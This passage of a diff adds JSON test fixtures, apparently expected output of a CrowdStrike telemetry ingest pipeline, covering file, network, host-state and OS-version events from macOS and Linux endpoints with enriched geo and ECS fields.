+                "original": "{\"event_simpleName\":\"FsVolumeUnmounted\",\"VolumeName\":\"Install Google Drive\",\"ContextTimeStamp\":\"1625677332.283\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"VolumeMediaBSDName\":\"disk2s2\",\"VolumeMountPoint\":\"/private/tmp/KSInstallAction.dn6J5Xa1M4/m\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"FsVolumeUnmountedMacV1\",\"id\":\"ffffffff-1111-11eb-8fd9-06866dcbd3d5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffed984e248973f3ada1eb543d\",\"timestamp\":\"1625677334451\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffffed984e248973f3ada1eb543d",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FsVolumeUnmounted",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffed984e248973f3ada1eb543d",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:34.879Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2300098580",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "328911864662804336",
+                "ContextTimeStamp": "2021-07-07T17:04:34.525Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05",
+                "name": "NetworkListenIP4LinV5"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff2a0d484da8f7a9cf8bde7164"
+            },
+            "event": {
+                "action": "NetworkListenIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:34.879Z",
+                "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05|ffffffff2a0d484da8f7a9cf8bde7164|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677474.525\",\"ConfigStateHash\":\"2300098580\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"328911864662804336\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"23165\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4LinV5\",\"id\":\"ffffffff-1111-11eb-88fd-06a17d0fdc05\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff2a0d484da8f7a9cf8bde7164\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677474879\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff2a0d484da8f7a9cf8bde7164",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkListenIP4",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff2a0d484da8f7a9cf8bde7164",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "328911864662804336"
+            },
+            "related": {
+                "hash": [
+                    "2300098580"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 23165
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:27.114Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "363122200934575406",
+                "ContextTimeStamp": "2021-07-07T17:05:26.828Z",
+                "ELFSubType": "4",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "SHA256HashData": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-985c-02152dd35bc1",
+                "name": "ELFFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffff28414c2293e35c360213e723"
+            },
+            "event": {
+                "action": "ELFFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:27.114Z",
+                "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"event_simpleName\":\"ELFFileWritten\",\"ContextTimeStamp\":\"1625677526.828\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"363122200934575406\",\"Size\":\"38798952\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027\",\"FileIdentifier\":\"040000010000000000000000000000006793f80200000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ELFFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"ELFSubType\":\"4\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677527114\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe\"}"
+            },
+            "file": {
+                "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64",
+                "extension": "nexe",
+                "hash": {
+                    "sha256": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027"
+                },
+                "inode": "040000010000000000000000000000006793f80200000000",
+                "name": "zoom_x86_64.nexe",
+                "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe",
+                "size": 38798952,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff28414c2293e35c360213e723",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ELFFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff28414c2293e35c360213e723",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "363122200934575406",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:03.466Z",
+            "crowdstrike": {
+                "BootArgs": [
+                    "BOOT_IMAGE=/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64",
+                    "root=UUID=9f548782-8f9f-4dd9-873a-436ea8f3e8a6",
+                    "ro",
+                    "console=tty0",
+                    "console=ttyS0,115200n8",
+                    "net.ifnames=0",
+                    "biosdevname=0",
+                    "nvme_core.io_timeout=4294967295",
+                    "rd.emergency=poweroff",
+                    "rd.shell=0"
+                ],
+                "ConfigBuild": "1007.8.0011611.1",
+                "ConfigStateHash": "3712162471",
+                "MajorVersion": "4",
+                "MinorVersion": "14",
+                "OSVersionFileData": "4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a",
+                "OSVersionFileName": "/etc/os-release",
+                "RFMState": "1",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-93d4-0624c36f3a79",
+                "name": "OsVersionInfoLinV4"
+            },
+            "device": {
+                "id": "ffffffff2d1245c0a32d5efcf9351272"
+            },
+            "event": {
+                "action": "OsVersionInfo",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:03:03.466Z",
+                "id": "ffffffff-1111-11eb-93d4-0624c36f3a79|ffffffff2d1245c0a32d5efcf9351272|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"MajorVersion\":\"4\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a\",\"BootArgs\":\"BOOT_IMAGE\\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\\u003dUUID\\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\\u003dtty0 console\\u003dttyS0,115200n8 net.ifnames\\u003d0 biosdevname\\u003d0 nvme_core.io_timeout\\u003d4294967295 rd.emergency\\u003dpoweroff rd.shell\\u003d0\",\"ConfigStateHash\":\"3712162471\",\"AgentVersion\":\"6.19.11611.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"14\",\"OSVersionString\":\"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"OsVersionInfoLinV4\",\"RFMState\":\"1\",\"id\":\"ffffffff-1111-11eb-93d4-0624c36f3a79\",\"OSVersionFileName\":\"/etc/os-release\",\"aid\":\"ffffffff2d1245c0a32d5efcf9351272\",\"timestamp\":\"1625677383466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff2d1245c0a32d5efcf9351272",
+                "os": {
+                    "type": "linux",
+                    "version": "Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64"
+                }
+            },
+            "message": "OsVersionInfo",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff2d1245c0a32d5efcf9351272",
+                "version": "6.19.11611.0"
+            },
+            "related": {
+                "hash": [
+                    "3712162471"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:59.398Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "364849347227309005",
+                "ContextTimeStamp": "2021-07-07T17:03:59.099Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "USN": "89566685",
+                "UnixMode": "384",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9262-0268ab613b49",
+                "name": "CriticalFileModifiedMacV2"
+            },
+            "device": {
+                "id": "ffffffff761b4a7d9962dd9e7e776044"
+            },
+            "event": {
+                "action": "CriticalFileModified",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:03:59.398Z",
+                "id": "ffffffff-1111-11eb-9262-0268ab613b49|ffffffff761b4a7d9962dd9e7e776044|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1625677439.099\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364849347227309005\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"04000001000000000000000000000000cdf3100100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"USN\":\"89566685\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileModifiedMacV2\",\"id\":\"ffffffff-1111-11eb-9262-0268ab613b49\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff761b4a7d9962dd9e7e776044\",\"timestamp\":\"1625677439398\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/user9.plist/\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/db/dslocal/nodes/Default/users",
+                "inode": "04000001000000000000000000000000cdf3100100000000",
+                "name": "user9.plist",
+                "path": "/private/var/db/dslocal/nodes/Default/users/user9.plist/",
+                "type": "dir"
+            },
+            "host": {
+                "id": "ffffffff761b4a7d9962dd9e7e776044",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "CriticalFileModified",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff761b4a7d9962dd9e7e776044",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364849347227309005",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:49.786Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceIndex": 6,
+                "NeighborList": [
+                    "1C-AB-C0-9B-10-A2",
+                    "2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2",
+                    "0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-ac8a-06b5e1186139",
+                "name": "NeighborListIP6MacV1"
+            },
+            "device": {
+                "id": "ffffffff01c7450180352a7c58a28fb4"
+            },
+            "event": {
+                "action": "NeighborListIP6",
+                "category": [
+                    "host",
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:49.786Z",
+                "id": "ffffffff-1111-11eb-ac8a-06b5e1186139|ffffffff01c7450180352a7c58a28fb4|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"NeighborListIP6\",\"ConfigStateHash\":\"3090255842\",\"NeighborList\":\"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP6MacV1\",\"id\":\"ffffffff-1111-11eb-ac8a-06b5e1186139\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01c7450180352a7c58a28fb4\",\"timestamp\":\"1625677489786\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff01c7450180352a7c58a28fb4",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NeighborListIP6",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff01c7450180352a7c58a28fb4",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:03.057Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1325353086",
+                "ContextProcessId": "364952259879648742",
+                "ContextTimeStamp": "2021-07-07T17:03:02.785Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "IsOnRemovableDisk": "0",
+                "SHA256HashData": "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc1-029257dbe83b",
+                "name": "NewScriptWrittenMacV3"
+            },
+            "device": {
+                "id": "ffffffffcebd42c0890d59b54279d3d3"
+            },
+            "event": {
+                "action": "NewScriptWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:03:03.057Z",
+                "id": "ffffffff-1111-11eb-9dc1-029257dbe83b|ffffffffcebd42c0890d59b54279d3d3|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677382.785\",\"UserName\":\"user3\",\"ConfigStateHash\":\"1325353086\",\"ContextProcessId\":\"364952259879648742\",\"Size\":\"8052\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6\",\"FileIdentifier\":\"04000001000000000000000000000000ef07570000000000\",\"ConfigBuild\":\"1007.4.0013806.1\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc1-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffcebd42c0890d59b54279d3d3\",\"timestamp\":\"1625677383057\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user3/git/it_eng_scripts/depnotify_starter",
+                "extension": "sh",
+                "inode": "04000001000000000000000000000000ef07570000000000",
+                "name": "dep_notify_starter.sh",
+                "path": "/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh",
+                "size": 8052,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffcebd42c0890d59b54279d3d3",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NewScriptWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffcebd42c0890d59b54279d3d3",
+                "version": "1007.4.0013806.1"
+            },
+            "process": {
+                "entity_id": "364952259879648742",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6",
+                    "1325353086"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "user3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user3"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:03:07.216Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "CpuClockSpeed": "2400000000",
+                "CpuFeaturesMask": "7494065083908067",
+                "CpuProcessorName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz",
+                "CpuSignature": "591597",
+                "CpuVendor": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "LogicalCoreCount": 16,
+                "MemoryTotal": "17179869184",
+                "PhysicalCoreCount": 8,
+                "ProcessorPackageCount": 1,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b714-066001392751",
+                "name": "SystemCapacityMacV1"
+            },
+            "device": {
+                "id": "fffffffff2c7432859ff6bbe1a0bd6af"
+            },
+            "event": {
+                "action": "SystemCapacity",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:03:07.216Z",
+                "id": "ffffffff-1111-11eb-b714-066001392751|fffffffff2c7432859ff6bbe1a0bd6af|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"SystemCapacity\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.13\",\"CpuClockSpeed\":\"2400000000\",\"PhysicalCoreCount\":\"8\",\"CpuFeaturesMask\":\"7494065083908067\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LogicalCoreCount\":\"16\",\"Entitlements\":\"15\",\"name\":\"SystemCapacityMacV1\",\"CpuVendor\":\"0\",\"CpuProcessorName\":\"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\",\"id\":\"ffffffff-1111-11eb-b714-066001392751\",\"CpuSignature\":\"591597\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fffffffff2c7432859ff6bbe1a0bd6af\",\"ProcessorPackageCount\":\"1\",\"MemoryTotal\":\"17179869184\",\"timestamp\":\"1625677387216\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "fffffffff2c7432859ff6bbe1a0bd6af",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "SystemCapacity",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "fffffffff2c7432859ff6bbe1a0bd6af",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:02:48.429Z",
+            "crowdstrike": {
+                "BootTimeFunctionalityLevel": "255",
+                "ConfigStateHash": "3090255842",
+                "CurrentFunctionalityLevel": "2",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "FirmwareAnalysisEclConsumerInterfaceVersion": "0",
+                "FirmwareAnalysisEclControlInterfaceVersion": "0",
+                "PciAttachmentState": "65535",
+                "ReasonOfFunctionalityLevel": "3",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7",
+                "name": "FirmwareAnalysisStatusMacV2"
+            },
+            "device": {
+                "id": "ffffffff0d7b4d839912e55b4755e85b"
+            },
+            "event": {
+                "action": "FirmwareAnalysisStatus",
+                "category": [
+                    "host"
+                ],
+                "created": "2021-07-07T17:02:48.429Z",
+                "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7|ffffffff0d7b4d839912e55b4755e85b|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"FirmwareAnalysisStatus\",\"ConfigStateHash\":\"3090255842\",\"FirmwareAnalysisEclControlInterfaceVersion\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"FirmwareAnalysisEclConsumerInterfaceVersion\":\"0\",\"BootTimeFunctionalityLevel\":\"255\",\"ReasonOfFunctionalityLevel\":\"3\",\"CurrentFunctionalityLevel\":\"2\",\"Entitlements\":\"15\",\"name\":\"FirmwareAnalysisStatusMacV2\",\"id\":\"ffffffff-1111-11eb-ba57-0214a0d89bf7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff0d7b4d839912e55b4755e85b\",\"timestamp\":\"1625677368429\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"PciAttachmentState\":\"65535\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffff0d7b4d839912e55b4755e85b",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirmwareAnalysisStatus",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff0d7b4d839912e55b4755e85b",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:04.544Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "InDiscards": "0",
+                "InErrors": "0",
+                "InMulticastPkts": "0",
+                "InOctets": "0",
+                "InUcastPkts": "0",
+                "InUnknownProtos": "0",
+                "InterfaceAlias": "utun2",
+                "InterfaceIndex": 17,
+                "InterfaceType": "1",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "NetLuidIndex": 2,
+                "OutErrors": "0",
+                "OutMulticastPkts": "0",
+                "OutOctets": "0",
+                "OutUcastPkts": "0",
+                "PhysicalAddressLength": 0,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a272-0294ad12fbe7",
+                "name": "LocalIpAddressIP4MacV1"
+            },
+            "device": {
+                "id": "ffffffff557f4b99a0afdea9ce8cd6fa"
+            },
+            "event": {
+                "action": "LocalIpAddressIP4",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:05:04.544Z",
+                "id": "ffffffff-1111-11eb-a272-0294ad12fbe7|ffffffff557f4b99a0afdea9ce8cd6fa|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
